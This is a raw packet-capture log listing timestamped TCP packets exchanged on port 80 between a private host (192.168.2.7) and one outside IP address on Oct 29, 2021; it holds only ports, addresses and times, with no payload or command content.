Oct 29, 2021 15:30:59.348670006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348712921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348722935 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348752022 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348790884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348826885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348838091 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348875999 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348925114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348928928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348968983 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349004984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349018097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349044085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349081993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349092007 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349117994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349148035 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349178076 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349251032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349251032 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349294901 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349334002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349370956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349389076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349409103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349420071 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349447012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349483967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349520922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349524975 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349558115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349567890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349612951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349653959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349689960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349703074 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349731922 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349740028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349777937 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349816084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349828959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349853039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349884033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349898100 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.349925041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349962950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.349999905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.350016117 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.350049973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.359255075 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.360425949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.391956091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392021894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392066002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392111063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.392111063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392203093 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.392537117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392585039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392633915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392663002 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.392693043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392748117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392777920 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.392805099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392868042 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.392891884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.392955065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393007994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393062115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393068075 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393117905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393142939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393177032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393230915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393245935 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393285036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393347025 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393400908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393430948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393445015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393477917 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393496990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393548012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393549919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393604994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393654108 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393704891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393718004 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393762112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393784046 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393816948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393871069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393884897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.393922091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.393970966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394025087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394032001 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394067049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394104004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394114971 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394141912 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394179106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394190073 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394216061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394253969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394258976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394304991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394316912 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394347906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394548893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394588947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394613981 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394629002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394680023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.394692898 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.394731998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396325111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396377087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396415949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396440029 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396471024 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396511078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396549940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396568060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396612883 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396624088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396697998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396755934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396801949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396814108 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396858931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.396903038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.396961927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397017956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397064924 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397084951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397135019 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397150993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397222042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397281885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397337914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397340059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397384882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397424936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397445917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397500992 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397517920 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397559881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397619963 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397619963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397676945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397737026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397794008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397809982 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397854090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397870064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397914886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.397978067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.397979021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398042917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398102999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398106098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398160934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398221970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398284912 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398318052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398332119 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398345947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398406029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398464918 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398492098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398514986 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398554087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398566008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398596048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398652077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398693085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398703098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398736000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398749113 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398804903 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398859978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398912907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398916960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.398962021 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.398972988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399025917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399090052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399120092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399137020 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399151087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399174929 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399189949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399224997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399239063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399259090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399286985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399302959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399315119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399347067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399384975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399398088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399420977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399425983 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399456024 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399490118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399502039 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399527073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399564981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399601936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399607897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399638891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399672031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399696112 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399699926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399719000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399739981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399775982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399795055 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399816036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399843931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399861097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399871111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399899006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399924994 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.399940968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399981976 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.399981976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400011063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400038004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400065899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400079012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400101900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400113106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400132895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400161982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400191069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400218964 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400232077 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400249004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400260925 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400276899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400295973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400305986 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400335073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400362968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400389910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400391102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400412083 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400419950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400460005 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400480986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400500059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400542021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400587082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400593042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400621891 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400629044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400639057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400657892 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400695086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400698900 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400724888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400753021 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400780916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400816917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400830984 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400861979 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.400877953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400918961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400950909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.400970936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401001930 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401001930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401041031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401082039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401104927 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401119947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401148081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401160002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401176929 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401199102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401228905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401257038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401272058 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401293993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401315928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401376009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401380062 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401417017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401443958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401472092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401487112 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401510954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401520014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401545048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.401563883 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401587009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.401818037 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.402046919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.438643932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.438702106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.438721895 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.438749075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.438762903 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.438796997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.438810110 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.438849926 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441173077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441240072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441286087 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441333055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441346884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441384077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441392899 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441442966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441503048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441515923 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441562891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441562891 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441611052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441641092 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441662073 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441668034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441713095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441725969 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441772938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441773891 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441834927 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.441837072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.441895008 CEST	80	49841	194.180.174.181	192.168.2.7
